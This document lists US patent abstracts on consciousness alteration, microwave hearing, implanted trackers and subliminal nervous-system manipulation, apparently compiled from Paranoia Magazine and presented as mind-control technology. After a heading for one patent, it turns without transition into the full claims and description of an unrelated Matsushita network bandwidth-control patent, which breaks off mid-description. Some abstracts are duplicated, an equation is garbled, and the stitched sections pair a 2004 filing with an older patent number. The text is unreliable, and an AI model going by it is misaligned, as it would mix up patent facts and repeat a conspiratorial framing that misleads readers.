US PATENT 5,123,899 --METHOD AND SYSTEM FOR ALTERING CONSCIOUSNESS--A system for altering the states of human consciousness involves the simultaneous application of multiple stimuli, preferable sounds, having differing frequencies and wave forms. The relationship between the frequencies of the several stimuli is exhibited by the equation $g = s \cdot \sup.n/4$.multidot.f where: f=frequency of one stimulus; g=frequency of the other stimuli of stimulus; and n=a positive or negative integer which is different for each other stimulus.

US PATENT --5,289,438 --METHOD AND SYSTEM FOR ALTERING CONSCIOUSNESS SOURCE: Judy Wall, Mike Coyle and Jan Wiesemann. Paranoia Magazine Issue 24 Fall 2000 -Article -'Technology to Your Mind' - By Judy Wall **US PATENT 4,877,027--HEARING SYSTEM** --Sound is induced in the head of a person by radiating the head with microwaves in the range of 100 megahertz to 10,000 megahertz that are modulated with a particular waveform. The waveform consists of frequency modulated bursts. Each burst is made up of ten to twenty uniformly spaced pulses grouped tightly together. The burst width is between 500 nanoseconds and 100 microseconds. The pulse width is in the range of 10 nanoseconds to 1 microsecond. The bursts are frequency modulated by the audio input to create the sensation of hearing in the person whose head is irradiated.

US PATENT 6,011,991--COMMUNICATION SYSTEM AND METHOD INCLUDING BRAIN WAVE ANALYSIS AND/OR USE OF BRAIN ACTIVITY--A system and method for enabling human beings to communicate by way of their monitored brain activity. The brain activity of an individual is monitored and transmitted to a remote location (e.g. by satellite). At the remote location, the monitored brain activity is compared with pre-recorded normalized brain activity curves, waveforms, or patterns to determine if a match or substantial match is found. If such a match is found, then the computer at the

remote location determines that the individual was attempting to communicate the word, phrase, or thought corresponding to the matched stored normalized signal.

US PATENT 4,858,612 - HEARING DEVICE – A method and apparatus for simulation of hearing in mammals by introduction of a plurality of microwaves into the region of the auditory cortex is shown and described. A microphone is used to transform sound signals into electrical signals which are in turn analyzed and processed to provide controls for generating a plurality of microwave signals at different frequencies. The multifrequency microwaves are then applied to the brain in the region of the auditory cortex. By this method sounds are perceived by the mammal which are representative of the original sound received by the microphone.

US PATENT 3,951,134 - APPARATUS AND METHOD FOR REMOTELY MONITORING AND ALTERING BRAIN WAVES – Apparatus for and method of sensing brain waves at a position remote from a subject whereby electromagnetic signals of different frequencies are simultaneously transmitted to the brain of the subject in which the signals interfere with one another to yield a waveform which is modulated by the subject's brain waves. The interference waveform which is representative of the brain wave activity is re-transmitted by the brain to a receiver where it is demodulated and amplified. The demodulated waveform is then displayed for visual viewing and routed to a computer for further processing and analysis. The demodulated waveform also can be used to produce a compensating signal which is transmitted back to the brain to effect a desired change in electrical activity therein.

US PATENT 5,159,703 - SILENT SUBLIMINAL PRESENTATION SYSTEM --A silent communications system in which non-aural carriers, in the very low or very high audio frequency range or in the adjacent ultrasonic frequency spectrum, are amplitude or frequency modulated with the desired intelligence and propagated acoustically or vibration-ally, for inducement into the brain, typically through the use of loudspeakers, earphones or piezoelectric transducers.

US PATENT 5,159,703 - SILENT SUBLIMINAL PRESENTATION SYSTEM --A silent communications system in which non-aural carriers, in the very low or very high audio frequency range or in the adjacent ultrasonic frequency spectrum, are amplitude or frequency modulated with the desired intelligence and propagated acoustically or vibration-ally, for inducement into the brain, typically through the use of loudspeakers, earphones or piezoelectric transducers.

US PATENT 5,507,291- METHOD AND AN ASSOCIATED APPARATUS FOR REMOTELY DETERMINING INFORMATION AS TO A PERSON'S EMOTIONAL STATE

US PATENT: US5629678: IMPLANTABLE TRANSCIEVER - Apparatus for Tracking and Recovering Humans. US PATENT FOR BARCODE TATTOO--Method for verifying human identity during electronic sale transactions. A method is presented for facilitating sales transactions by electronic media. A bar code or a design is tattooed on an individual. Before the sales transaction can be consummated, the tattoo is scanned with a scanner. Characteristics about the scanned tattoo are compared to characteristics about other tattoos stored on a computer database in order to verify the identity of the buyer. Once verified, the seller may be authorized to debit the buyer's electronic bank account in order to consummate the transaction. The seller's electronic bank account may be similarly updated.

US PATENT 5,539,705 - ULTRASONIC SPEECH TRANSLATOR AND COMMUNICATIONS SYSTEM – A wireless communication system undetectable by radio frequency methods for converting audio signals, including human voice, to electronic signals in the ultrasonic frequency range, transmitting the ultrasonic signal by way of acoustical pressure waves across a carrier medium, including gases, liquids, or solids, and reconvertng the ultrasonic acoustical pressure waves back to the original audio signal. The ultrasonic speech translator and communication system (20) includes an ultrasonic transmitting device (100) and an ultrasonic receiving device (200). The ultrasonic transmitting device (100) accepts as input (115) an audio signal such as human voice input from a microphone (114) or tape deck.

PATENT 5,629,678 - PERSONAL TRACKING AND RECOVERY SYSTEM – Apparatus for tracking and recovering humans utilizes an implantable transceiver incorporating a power supply and actuation system allowing the unit to remain implanted and functional for years without maintenance. The implanted transmitter may be remotely actuated or actuated

by the implantee. Power for the remote-activated receiver is generated electromechanically through the movement of body muscle. The device is small enough to be implanted in a child, facilitating use as a safeguard against kidnapping, and has a transmission range which also makes it suitable for wilderness sporting activities. A novel biological monitoring feature allows the device to be used to facilitate prompt medical dispatch in the event of heart attack or similar medical emergency. A novel sensation-feedback feature allows the implantee to control and actuate the device with certainty.

US PATENT 5,760,692 - INTRA-ORAL TRACKING DEVICE - An intra-oral tracking device adapted for use in association with a tooth having a buccal surface and a lingual surface, the apparatus comprises a tooth mounting member having an inner surface and an outer surface, the inner surface including adhesive material.

US PATENT 5,760,692 - INTRA-ORAL TRACKING DEVICE - An intra-oral tracking device adapted for use in association with a tooth having a buccal surface and a lingual surface, the apparatus comprises a tooth mounting member having an inner surface and an outer surface, the inner surface including adhesive material.

US PATENT 5,868,100 - FENCELESS ANIMAL CONTROL SYSTEM USING GPS LOCATION INFORMATION – A fenceless animal confinement system comprising portable units attached to the animal and including means for receiving GPS signals and for providing stimulation to the animal. The GPS signals are processed to provide location information which is compared to the desired boundary parameters. If the animal has moved outside the desired area, the stimulation means is activated. The signal processing circuitry may be included either within the portable unit or within a separate fixed station.

US PATENT 5,905,461 - GLOBAL POSITIONING SATELLITE TRACKING DEVICE – A global positioning and tracking system for locating one of a person and item of property. The global positioning and tracking system comprises at least one tracking device for connection to the one of the person and item of property including a processing device for determining a location of the tracking device and generating a position signal and a transmitter for transmitting said position signal.

US PATENT 5,935,054 - MAGNETIC EXCITATION OF SENSORY RESONANCES – The invention pertains to influencing the nervous system of a subject by a weak externally applied magnetic field with a frequency near 1/2 Hz. In a range of amplitudes, such fields can excite the 1/2 sensory resonance, which is the physiological effect involved in "rocking the baby".

US PATENT 5,935,054 - MAGNETIC EXCITATION OF SENSORY RESONANCES – The invention pertains to influencing the nervous system of a subject by a weak externally applied magnetic field with a frequency near 1/2 Hz. In a range of amplitudes, such fields can excite the 1/2 sensory resonance, which is the physiological effect involved in "rocking the baby".

US PATENT 5,952,600 - ENGINE DISABLING WEAPON -- A non-lethal weapon for disabling an engine such as that of a fleeing car by means of a high voltage discharge that perturbs or destroys the electrical circuits.

US PATENT 6,006,188 - SPEECH SIGNAL PROCESSING FOR DETERMINING PSYCHOLOGICAL OR PHYSIOLOGICAL CHARACTERISTICS USING A KNOWLEDGE BASE

US PATENT 6,014,080 - BODY WORN ACTIVE AND PASSIVE TRACKING DEVICE --Tamper resistant body-worn tracking device to be worn by offenders or potential victims for use in a wireless communication system receiving signals from a global positioning system (GPS).

US PATENT 6,017,302 - SUBLIMINAL ACOUSTIC MANIPULATION OF NERVOUS SYSTEMS – In human subjects, sensory resonances can be excited by subliminal atmospheric acoustic pulses that are tuned to the resonance frequency. The 1/2 Hz sensory resonance affects the autonomic nervous system and may cause relaxation, drowsiness, or sexual excitement, depending on the precise acoustic frequency near 1/2 Hz used. The effects of the 2.5 Hz resonance include slowing of certain cortical processes, sleepiness, and disorientation. For these effects to occur, the acoustic intensity must lie in a certain deeply subliminal range. Suitable apparatus consists of a portable battery-powered source of weak subaudio acoustic radiation. The method and apparatus can be used by the general public as an aid to relaxation, sleep, or sexual arousal, and clinically for the control and perhaps treatment of insomnia, tremors, epileptic seizures, and anxiety disorders.

There is further application as a nonlethal weapon that can be used in law enforcement standoff situations, for causing drowsiness and disorientation in targeted subjects. It is then preferable to use venting acoustic monopoles in the form of a device that inhales and exhales air with subaudio frequency.

US PATENT 6,051,594 - METHODS AND FORMULATIONS FOR MODULATING THE HUMAN SEXUAL RESPONSE – The invention is directed to improved methods for modulating the human sexual response by orally administering a formulation of the vasodilator phentolamine to the blood circulation and thereby modulating the sexual response on demand.

US PATENT 6,052,336 - APPARATUS AND METHOD OF BROADCASTING AUDIBLE SOUND USING ULTRASONIC SOUND AS A CARRIER – An ultrasonic sound source broadcasts an ultrasonic signal which is amplitude and/or frequency modulated with an information input signal originating from an information input source. If the signals are amplitude modulated, a square root function of the information input signal is produced prior to modulation. The modulated signal, which may be amplified, is then broadcast via a projector unit, whereupon an individual or group of individuals located in the broadcast region detect the audible sound.

US PATENT 6506148B2 – COMPUTER MONITORS & TV TUBES EMIT PULSED IMAGES to Effect Behavior & Thought Overlaid by modulating a video stream either as a RF signal or video signal or by computer program images pulsed with subliminal intensity.

US PATENT 6238333 – REMOTE MAGNETIC MANIPULATION OF NERVOUS SYSTEMS

US PATENT 6091994 – PULSATIVE MANIPULATION OF NERVOUS SYSTEMS

US PATENT 6017302 – SUBLIMINAL ACOUSTIC MANIPULATION OF NERVOUS SYSTEMS

US PATENT 8782874 – METHOD AND APPARATUS FOR MANIPULATING NERVOUS SYSTEMS

US PATENT 3,678,337 -- ENVIRONMENTAL CONTROL APPARATUS

US PATENT 4,335,710 -- DEVICE FOR THE INDUCTION OF SPECIFIC BRAIN WAVE PATTERNS

US PATENT 6,219,657 -- DEVICE AND METHOD FOR CREATION OF EMOTIONS

US PATENT 6,238,333 -- REMOTE MAGNETIC MANIPULATION OF NERVOUS SYSTEMS

US PATENT 6,536,440 -- METHOD AND SYSTEM FOR GENERATING SENSORY DATA ONTO THE HUMAN NEURAL CORTEX

US PATENT 6,587,729 -- APPARATUS FOR AUDIBLY COMMUNICATING SPEECH USING THE RADIO FREQUENCY HEARING EFFECT

US PATENT 6,889,085 -- METHOD AND SYSTEM FOR FORMING AN ACOUSTIC SIGNAL FROM NEURAL TIMING DIFFERENCE DATA

US PATENT 3,773,049 -- APPARATUS FOR TREATMENT OF NEUROPSYCHIC/SOMATIC DISEASES WITH HEAT, LIGHT SOUND AND VHF ELECTROMAGNETIC RADIATION

US PATENT 3951134 -- APPARATUS AND METHOD FOR REMOTELY MONITORING AND ALTERING BRAIN WAVES

US PATENT 4883067 -- METHOD AND APPARATUS FOR TRANSLATING THE EEG INTO MUSIC TO INDUCE AND CONTROL VARIOUS PSYCHOLOGICAL AND PHYSIOLOGICAL STATES AND TO CONTROL A MUSICAL INSTRUMENT

US PATENT 5,356,368 -- METHOD OF AND APPARATUS FOR INDUCING DESIRED STATES OF CONSCIOUSNESS

US PATENT 5,309,411 -- TRANSDUCER

US PATENT 5,355,523 -- WIRELESS TRANSMISSION/RECEPTION SYSTEM

US PATENT 5,561,689 -- METHOD AND APPARATUS FOR DIGITAL CARRIER DETECTION IN A WIRELESS LAN

US PATENT 4,343,301 -- SUBCUTANEOUS NEURAL STIMULATION OR LOCAL TISSUE DESTRUCTION

Inventors: Ohmi; Shinichiro (Toyono-gun, JP)

Assignee: Matsushita Electric Industrial Co., Ltd. (Osaka, JP)

Family ID: 33447481

Appl. No.: 10/849,004

Filed: May 20, 2004

Prior Publication Data

Document Identifier	Publication Date
---------------------	------------------

US 20040233932 A1	Nov 25, 2004
--------------------------	--------------

Foreign Application Priority Data

May 20, 2003 [JP]	2003-142460
-------------------	-------------

Current U.S. Class: 370/468

Current CPC Class: H04J 3/1682 (20130101); H04J 3/247 (20130101); H04L 12/40065 (20130101); H04L 12/40117 (20130101); H04L 12/417 (20130101); H04L 47/15 (20130101); H04L 47/762 (20130101); H04L 47/805 (20130101); H04L 63/10 (20130101); H04L 47/70 (20130101)

Current International Class: H04J 3/16 (20060101)

Class:

Field of Search: ;370/468,395.4,395.21,395.41,230.1,477,232,508,235,253,236

References Cited [Referenced By]

U.S. Patent Documents

5258979 November 1993 Oomuro et al.

6404777 June 2002 Hattori et al.

6657958 December 2003 Tanaka

2002/0018481 February 2002 Mor et al.

Foreign Patent Documents

0 297 629	Jan 1989	EP
1 056 244	Nov 2000	EP
1 292 054	Mar 2003	EP
09-214459	Aug 1997	JP
2000-316035	Nov 2000	JP
2003-87283	Mar 2003	JP

Other References

R Tang et al., "POSTMAN: Polling-Based Scheduling Strategy for Multiple Access Control in Wireless ATM Networks", IEICE Trans. Commun., vol. E82-B, No. 9, XP-000940269, Sep. 1999, pp. 1514-1521. cited by other.

Primary Examiner: Pham; Chi

Assistant Examiner: Boakye; Alexander O.

Attorney, Agent or Firm: Wenderoth, Lind & Ponack, L.L.P.

Claims

What is claimed is:

1. An access control method for controlling a communication band for access to a network in a time-division manner, said method being for use in a communication network system including a plurality of communication terminals, said method comprising: steps performed by a communication terminal that is to transmit data, comprising: generating a transmission packet including transmission information, transmission data, and transmission data length, said transmission information indicating an amount of data remaining in a transmission buffer, said transmission data including data from the transmission buffer, and said transmission data length indicating a length of the transmission data; and transmitting the transmission packet including the generated transmission information, the transmission data, and the transmission data length over the network, and steps performed by any one of the communication terminals, comprising: obtaining transmission information related to transmission between a first communication terminal and a second communication terminal of other communication terminals from the transmission packet transmitted on the network; and controlling communication bands allocated to the first communication terminal and the second communication terminal of the other communication terminals based on the obtained transmission information.
2. The access control method according to claim 1, wherein said controlling of communication bands includes allocating an unused band to a specific communication terminal in which the amount of stored data is more than an amount that can be processed in a band currently allocated.
3. The access control method according to claim 2, wherein in said allocating, the unused band is allocated to a plurality of the specific communication terminals in accordance with a ratio of a band currently allocated to each of the specific communication terminals.
4. The access control method according to claim 2, wherein in said allocating, the unused band is allocated to a plurality of the specific communication terminals in accordance with a priority set in advance to each of the specific communication terminals.

5. The access control method according to claim 2, wherein in said allocating, the unused band is allocated to a plurality of the specific communication terminals in accordance with a ratio of a band currently allocated to each of the specific communication terminals and a priority set in advance to each of the specific communication terminals.
6. The access control method according to claim 2, wherein the unused band includes an extra band not required for processing the amount of data currently stored in the other communication terminals.
7. The access control method according to claim 1, wherein the transmission information includes information regarding an amount of packet data remaining in the transmission buffer.
8. The access control method according to claim 1, wherein the transmission information includes information regarding a total number of packets remaining in the transmission buffer.
9. An access control method for controlling a communication band for access to a network in a time-division manner, said method being for use in a communication network system including a plurality of communication terminals, wherein said method is performed by each communication terminal, said method comprising: generating transmission information for specifying an amount of data stored in a transmission buffer; transmitting a transmission packet including the generated transmission information over the network; obtaining transmission information related to transmission between a first communication terminal and a second communication terminal of other communication terminals from the transmission packet transmitted on the network; and determining a communication terminal's own frequency of transmission based on the generated transmission information and the transmission information related to transmission between the first communication terminal and the second communication terminal of the other communication terminals.
10. The access control method according to claim 9, wherein in said determining, the communication terminal's own frequency of transmission is determined based on a ratio of an amount of data stored in a communication terminal's own transmission buffer with respect to a total amount of data stored in the communication terminals.
11. The access control method according to claim 9, wherein in said determining, the communication terminal's own frequency of transmission is determined based on a relation between a communication terminal's own priority set in advance and priorities set in advance in the other communication terminals.
12. The access control method according to claim 9, wherein in said determining, the communication terminal's own frequency of transmission is determined based on a ratio of an amount of data stored in a communication terminal's own transmission buffer with respect to a total amount of data stored in the communication terminals and a relation between a communication terminal's own priority set in advance and priorities set in advance in the other communication terminals.
13. An access control system in which a communication band for access to a network is controlled in a time-division manner, said system comprising: a specific communication terminal for controlling access to the network; and a plurality of communication terminals for access to the network under the control of the specific communication terminal, each communication terminal comprising: a transmission buffer for temporarily storing transmission data; a transmission information generating section for generating transmission information indicating an amount of data remaining in the transmission buffer; and a packet transmitting section for generating a transmission packet including the transmission information generated by the transmission information generating section, transmission data, and transmission data length, said transmission data including data from the transmission buffer, and said transmission data length indicating a length of the transmission data, and transmitting the transmission packet to other communication terminals over the network, and the specific communication terminal comprising: a packet receiving section for receiving the transmission packet transmitted on the network; a transmission information obtaining section for obtaining transmission information related to transmission between a first communication terminal and a second communication terminal of other communication terminals from the transmission packet

received by the packet receiving section; a band allocating section for determining communication bands to be allocated to the first communication terminal and the second communication terminal of the other communication terminals based on the transmission information obtained by the transmission information obtaining section; and a packet transmitting section for generating a packet for reporting the communication bands determined by the band allocating section and transmitting the packet to the communication terminals.

14. The access control system according to claim 13, wherein the transmission information includes information regarding an amount of packet data remaining in the transmission buffer.
15. The access control system according to claim 13, wherein the transmission information includes information regarding a total number of packets remaining in the transmission buffer.
16. An access control system in which a communication band for access to a network is controlled in a time-division manner, said system comprising: a plurality of communication terminals for access to the network, each communication terminal comprising: a transmission buffer for temporarily storing transmission data; a transmission information generating section for generating transmission information indicating an amount of data remaining in the transmission buffer; a packet transmitting section for generating a transmission packet including the transmission information generated by the transmission information generating section, transmission data, and transmission data length, said transmission data including data from the transmission buffer, and said transmission data length indicating a length of the transmission data, and transmitting the transmission packet to other communication terminals over the network; a packet receiving section for receiving the transmission packet transmitted on the network; and a transmission information obtaining section for obtaining transmission information related to transmission between a first communication terminal and a second communication terminal of the other communication terminals from the transmission packet received by the packet receiving section; wherein the transmission information obtaining section determines a communication terminal's own frequency of transmission performed by the packet transmitting section based on the obtained transmission information related to transmission between the first communication terminal and the second communication terminal of the other communication terminals and the transmission information generated by the transmission information generating section.
17. A communication terminal for access to a network, comprising: a transmission buffer for temporarily storing transmission data; a transmission information generating section for generating transmission information indicating an amount of data remaining in the transmission buffer; a packet transmitting section for generating a transmission packet including the transmission information generated by the transmission information generating section, transmission data, and transmission data length, said transmission data including data from the transmission buffer, and said transmission data length indicating a length of the transmission data, and transmitting the transmission packet to other communication terminals over the network; a packet receiving section for receiving the transmission packet transmitted on the network; and a transmission information obtaining section for obtaining transmission information related to transmission between a first communication terminal and a second communication terminal of the other communication terminals from the transmission packet received by the packet receiving section, and determining a communication terminal's own frequency of transmission performed by the packet transmitting section based on the obtained transmission information related to transmission between the first communication terminal and the second communication terminal of the other communication terminals and the transmission information generated by the transmission information generating section.
18. A communication terminal for controlling access to a network by a plurality of communication terminals which transmit, over the network, a transmission packet including transmission information, transmission data, and transmission data length, said transmission information indicating an amount of data remaining in a transmission buffer, said transmission data including data from the transmission buffer, and said transmission data length indicating a length of the transmission data, said communication terminal comprising: a packet receiving section for

receiving the transmission packet transmitted on the network; a transmission information obtaining section for obtaining transmission information related to transmission between a first communication terminal and a second communication terminal of other communication terminals from the transmission packet received by the packet receiving section, said transmission information indicating an amount of data remaining in a transmission buffer; and a band allocating section for determining communication bands to be allocated to the first communication terminal and the second communication terminal of the other communication terminals based on the transmission information obtained by the transmission information obtaining section; and a packet transmitting section for generating a packet for reporting the communication bands determined by the band allocating section and transmitting the packet to the communication terminals.

19. A computer program embodied on a computer-readable medium for use in a communication network system including a plurality of communication terminals, and for performing an access control method for controlling a communication band for access to a network in a time-division manner, said computer program causing a communication terminal that is to transmit data to perform a method comprising: generating a transmission packet including transmission information, transmission data, and transmission data length, said transmission information indicating an amount of data remaining in a transmission buffer, said transmission data including data from the transmission buffer, and said transmission data length indicating a length of the transmission data; and transmitting the transmission packet including the generated transmission information, the transmission data, and the transmission data length over the network, and said computer program causing any one of the communication terminals to perform a method comprising: obtaining transmission information related to transmission between a first communication terminal and a second communication terminal of other communication terminals from the transmission packet transmitted on the network; and controlling communication bands allocated to the first communication terminal and the second communication terminal of the other communication terminals based on the obtained transmission information.
20. A computer program embodied on a computer-readable medium for use in a communication network system including a plurality of communication terminals, for performing an access control method for controlling a communication band for access to a network in a time-division manner, said computer program causing each of the communication terminals to perform the access control method comprising: generating transmission information for specifying an amount of data stored in a transmission buffer; transmitting a transmission packet including the generated transmission information over the network; obtaining transmission information related to transmission between a first communication terminal and a second communication terminal of other communication terminals from the transmission packet transmitted on the network; and determining a communication terminal's own frequency of transmission based on the communication terminal's own transmission information and the obtained transmission information of the other communication terminals.
21. An integrated circuit incorporated in a communication terminal for access to a network, comprising: a transmission buffer for temporarily storing transmission data; a transmission information generating section for generating transmission information for specifying an amount of data stored in the transmission buffer; a packet transmitting section for generating a transmission packet including the transmission information generated by the transmission information generating section, and transmitting the transmission packet to other communication terminals over the network; a packet receiving section for receiving the transmission packet transmitted on the network; and a transmission information obtaining section for obtaining transmission information related to transmission between a first communication terminal and a second communication terminal of other communication terminals from the transmission packet received by the packet receiving section, and determining a transmission terminal's own frequency of transmission based on the obtained transmission information and the transmission information generated by the transmission information generating section.

Description

BACKGROUND OF THE INVENTION

1. Field of the Invention

The present invention relates to access control methods and systems. More specifically, the present invention relates to an access control method to be used in a communication system including a plurality of communication terminals for controlling a band to be used by each communication terminal for access based on a state of communication, and an access control system to which the access control method is applied.

2. Description of the Background Art

An example of a conventional technology for controlling a band to be used by a communication terminal based on a state of communication is disclosed in Japanese Patent Laid-Open Publication No. 2003-87283. In this conventional technology, controlling over a communication band in an upstream direction from a subscriber terminal to a host communication device is achieved by band allocation using a reservation protocol, for example.

In communication over a large-scale network, such as the Internet or a CATV system, traffic is managed in various manners by using the controller communication device, an access point, a gateway, or the like. In the near future, however, a home network is expected to become widespread, and therefore traffic management in a small-sized network is expected to become important.

In such a home network, terminals included in home electrical products, such as personal computers, televisions, and air conditioners, are expected to be directly connected to one another. Therefore, communication band management has to be readily performed among the terminals at high speed. However, application of conventional technologies for use in a large-scale network, such as a band allocation technology using a reservation protocol for a home network and a technology for data transmission from one terminal to another via a band control device typified by an access point or a gateway, makes the overall processing complex and the response and band usage inefficient.

Therefore, an object of the present invention is to provide an access control method and system using a scheme in which each communication terminal reports its state of communication to another communication terminal, thereby achieving simplification in processing, improvement in response, and efficient use of bands.

SUMMARY OF THE INVENTION

One aspect of the present invention is directed to an access control method to be used in controlling a communication band for access to a network in a time-division manner. The access control method of the present invention achieves the above object by causing the communication terminals to perform steps described below.

Of the plurality of communication terminals, a data transmitting communication terminal performs steps of: generating transmission information for specifying an amount of data stored in a transmission buffer; and transmitting a transmission packet added with the generated transmission information. Any one of the communication terminals performs steps of: obtaining transmission information of other communication terminals from the transmission packet transmitted on the network; and controlling communication bands allocated to the other communication terminals based on the obtained transmission information.

In the communication band controlling step, an unused band is allocated to a specific communication terminal in which the amount of stored data is more than an amount that can be processed in a band currently allocated. The unused band can be allocated to a plurality of the specific communication terminals in accordance with a ratio of a band currently allocated to each of the specific communication terminals. Also, the unused band can be allocated in accordance with a priority set in advance to each of the specific communication terminals. Furthermore, the unused band can be allocated in accordance

with both of the ratio of the band currently allocated and the priority. Here, it is preferable that the unused band includes an extra band not required for processing the amount of data currently stored in the other communication terminals.

The access control method of the present invention achieves the above object also by causing the communication terminals to perform steps described below. Each of the communication terminals performs steps of: generating transmission information for specifying an amount of data stored in a transmission buffer; transmitting a transmission packet added with the generated transmission information; obtaining transmission information of other communication terminals from a transmission packet transmitted on the network; and determining a communication terminal's own frequency of transmission based on the generated transmission information and the transmission information of the other communication terminals.

In the determining step, the transmission terminal's own frequency of transmission can be determined based on a ratio of an amount of data stored in a communication terminal's own transmission buffer with respect to a total amount of data stored in the communication terminals. Also, the communication terminal's own frequency of transmission can be determined based on a relation between a communication terminal's own priority set in advance and priorities set in advance in the other communication terminals. Furthermore, the communication terminal's own frequency of transmission can be determined based on both of the above-stated ratio of the amount of data and the above-stated priority relation. The above-described access control method can be achieved by hardware with a plurality of functional blocks. These functional blocks may be achieved by an LSI. Also, the access control method may be provided in a form of a program for causing a computer to perform a series of processes. This program may be introduced as being recorded on a computer-readable recording medium.

As described above, according to the present invention, a plurality of communication terminals each transmit transmission data added with transmission information indicative of the degree of the amount of data stored in the buffer. Then, the transmission information is analyzed for collectively controlling communication bands of all communication terminals or controlling a communication band of each communication terminal. With this, the band can be allocated in accordance with the retransmission process or fluctuations in traffic. Furthermore, the communication band can be efficiently used by avoiding band congestion.

These and other objects, features, aspects and advantages of the present invention will become more apparent from the following detailed description of the present invention when taken in conjunction with the accompanying drawings.

BRIEF DESCRIPTION OF THE DRAWINGS

FIG. 1 is a schematic illustration for describing an access control system according to all embodiments of the present invention.

FIG. 2 is a detailed functional block diagram illustrating communication terminals forming an access control system according to a first embodiment of the present invention.

FIG. 3 is an illustration for describing the structure of a packet frame.

FIG. 4 is a flowchart for describing a general outline of the procedure performed by a control station 11.

FIG. 5 is an illustration showing one example of band allocation of terminal stations 21 and 22.

FIG. 6 is an illustration showing one example of transmission information stored in the control station 11.

FIG. 7 is an illustration showing a relation between a requested rate and an amount of data in the example of FIG. 5.

FIG. 8 is an illustration showing one example of band allocation of terminal stations 21 and 22.

FIG. 9 is a detailed functional block diagram illustrating communication terminals forming an access control system according to a second embodiment of the present invention.

FIG. 10 is an illustration showing one example of a network system in which the access control system of the present invention is applied to high-speed power line transmission.

DESCRIPTION OF THE PREFERRED EMBODIMENTS

First, with reference to FIG. 1, a general outline of access control systems according to all embodiments of the present invention is described below. In FIG. 1, the access control system of the present invention includes a plurality of communication terminals for accessing a network. The communication terminals each have a unique identifier and, based on the identifier, communicate with each other in the network. Hereinafter, description is made to a scheme according to the present invention for controlling a communication band used by each of the communication terminals.

First Embodiment

FIG. 2 is a detailed functional block showing the communication terminals forming an access control system according to a first embodiment of the present invention. The access control system according to the first embodiment includes communication terminals 21 and 22 for performing data communication (hereinafter denoted as terminal stations 21 and 22), and a communication terminal 11 for controlling these terminal stations 21 and 22 (hereinafter denoted as a control station 11). The control station 11 includes a packet receiving section 111, a transmission information obtaining section 112, a band allocating section 113, and a packet transmitting section 114. The terminal station 21 includes a packet receiving section 211, a buffer section 212, a transmission information generating section 213, and a packet transmitting section 214. The terminal station 22 has a structure identical to that of the terminal station 21. In FIG. 2, the number of terminal stations is exemplarily two. This is not meant to be restrictive, and the number of terminal stations may be more than two.

First, the structure of each of the control station 11 and the terminal stations 21 and 22 is schematically described below.

In the control station 11, the packet receiving section 111 receives a packet (which is equivalent to a frame) from each of the terminal stations 21 and 22. The transmission information obtaining section 112 obtains transmission information from the packet received by the packet receiving section 111. Based on the transmission information obtained by the transmission information obtaining section 112, the band allocating section 113 allocates a band to each of the terminal stations 21 and 22 for use in packet transmission. The packet transmitting section 114 transmits a packet reporting the band allocated by the band allocating section 113 to each of the terminal stations 21 and 22.

In each of the terminal stations 21 and 22, the packet receiving section 211 receives packets transmitted from the other terminal station and the control station 11. The buffer section 212 is a transmission buffer for temporarily storing data received from another component or an external device. The transmission information generating section 213 generates transmission information for specifying the amount of data that remains in the buffer section 212, such as the amount of packet data or the number of packets. The packet transmitting section 214 obtains data having a predetermined amount from the buffer section 212, generates a packet by adding the transmission information generated by the transmission information generating section 213 to the obtained data having the predetermined amount, and then transmits the packet to the other terminal station.

FIG. 3 depicts an example of the structure of a packet transmitted and received between the terminal stations. In FIG. 3, the packet includes a physical layer header, a packet type, a recipient address, an originator address, a link identification, a priority, transmission information, a transmission data length, option data, FCS, transmission data, FCS, and a guard. The packet having the structure shown in FIG. 3 requires a band equivalent to 2 Mbps for transmission.

Next, a control method performed by the access control system according to the first embodiment of the present invention is described below. FIG. 4 is a flowchart schematically showing the procedure performed by the control station 11. Note that description is made to an exemplary case where a total transmission rate useable for communication in the network is 24 Mbps. Also, in this case, it is assumed the terminal station 21 requires a transmission band whose average transmission rate is 6 Mbps for transmitting a packet to the terminal station 22, and the terminal station 22 requires a transmission band

whose average transmission rate is 12 Mbps for transmitting a packet to the terminal station 21. It is also assumed that these transmission bands are set as defaults by performing negotiation in advance between the control station 11 and the terminal stations 21 and 22 before actual packet transmission is performed. In the initial state, bands (minimum-guaranteed times) are allocated to the terminal stations 21 and 22 as shown in FIG. 5. In FIG. 5, it is assumed that transmission is performed at 24 Mbps in one cycle (10 msec), and this 24 Mbps is divided by 2 Mbps (data of 2500 bytes) into twelve bands.

In the terminal station 21, upon reception of a packet reporting band allocation transmitted by the control station 11, the packet receiving section 211 outputs a reception result indicative of the presence or absence of a packet error and an allocation report to the packet transmitting section 214. Data externally supplied is stored in the buffer section 212. The buffer section 212 outputs the amount of data stored to the transmission information generating section 213. Based on this amount of data, the transmission information generating section 213 generates predetermined transmission information for output to the packet transmitting section 214. If the reception result indicates no packet error and a timing allocated by the allocation report is detected, the packet transmitting section 214 generates a packet including the data and the transmission information and then transmits the generated packet to the terminal station 22. At this time, the data contained in the generated packet is not released from the buffer section 212 until instructed.

On the other hand, in the terminal station 22, the packet receiving section 211 receives the packet transmitted from the terminal station 21 and, if the packet does not have an error, outputs the data to the outside and a reception result to the packet transmitting section 214. Based on the reception result from the packet receiving section 211, the packet transmitting section 214 transmits a response packet to the terminal station 21.

In the terminal station 21, upon reception of the response packet transmitted from the terminal station 22, the packet receiving section 211 instructs the buffer section 212 to release the data.

Packet transmission from the terminal station 22 to the terminal station 21 is performed in a manner similar to the above.

While the terminal stations 21 and 22 are communicating with each other, the control station 11 always monitors each packet transmitted by these terminal stations, that is, receives each packet through the packet receiving section 111 (step S401). The transmission information obtaining section 112 of the control station 11 analyzes the packet received by the packet receiving section 111 to obtain the transmission information (step S402). This obtained transmission information is stored in the table shown in FIG. 6 together with its priority, with its recipient address, originator address, and link type being taken as indexes, for example. With the use of the FCS of the packet, the transmission information obtaining section 112 then performs a packet check from the packet type through the option data of the packet to determine whether an error is present. Note that, in the control station 11, the transmission data portion is not required, and therefore is discarded. Then, based on the obtained transmission information (and the priority as required), the transmission information obtaining section 112 determines whether the band currently allocated is to be changed or not (step S403). If a change is required, band allocation is reviewed, and then a packet for reporting a new band after review is generated for transmission to the terminal stations 21 and 22 (steps S404 and S405).

